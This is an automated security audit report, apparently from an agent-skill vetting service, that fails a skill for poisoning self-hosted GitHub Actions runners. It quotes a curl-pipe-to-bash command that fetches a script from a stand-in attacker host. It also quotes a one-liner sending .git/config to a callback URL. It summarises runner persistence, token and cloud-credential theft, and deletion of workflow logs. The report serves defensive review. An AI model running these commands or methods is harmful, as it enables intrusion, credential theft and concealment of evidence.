self-hosted-runner-poisoning

Fail

Audited by Gen Agent Trust Hub on Sep 22, 2026

Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONPERSISTENCECREDENTIALS_UNSAFE
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill includes instructions to download and execute remote scripts by piping them directly into a shell. Specifically, the command curl -sSfL https://ATTACKER/runner-install.sh | bash is provided as a payload for exploitation.
  • [PERSISTENCE]: The documentation describes a methodology for establishing long-term access to a system by installing a secondary GitHub Actions runner agent that operates as a background process, surviving workflow completion and system cleanup.
  • [DATA_EXFILTRATION]: The skill provides payloads designed to exfiltrate sensitive information, including repository configuration files and environment variables, to an external callback URL using curl. Example: cat .git/config | base64 | curl -d @- https://CALLBACK.
  • [CREDENTIALS_UNSAFE]: The instructions specifically target the theft of sensitive authentication tokens, such as the GITHUB_TOKEN stored in .git/config, as well as cloud provider credentials (AWS, Azure) available in the runner environment.
  • [COMMAND_EXECUTION]: The methodology involves the use of specialized attack toolkits like 'Gato' and various shell commands to perform reconnaissance, lateral movement, and evidence removal (e.g., deleting workflow logs via API).
Recommendations
  • HIGH: Downloads and executes remote code from: https://ATTACKER/runner-install.sh - DO NOT USE without thorough review
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Sep 22, 2026, 05:34 PM
Security Audit — agent-trust-hub — self-hosted-runner-poisoning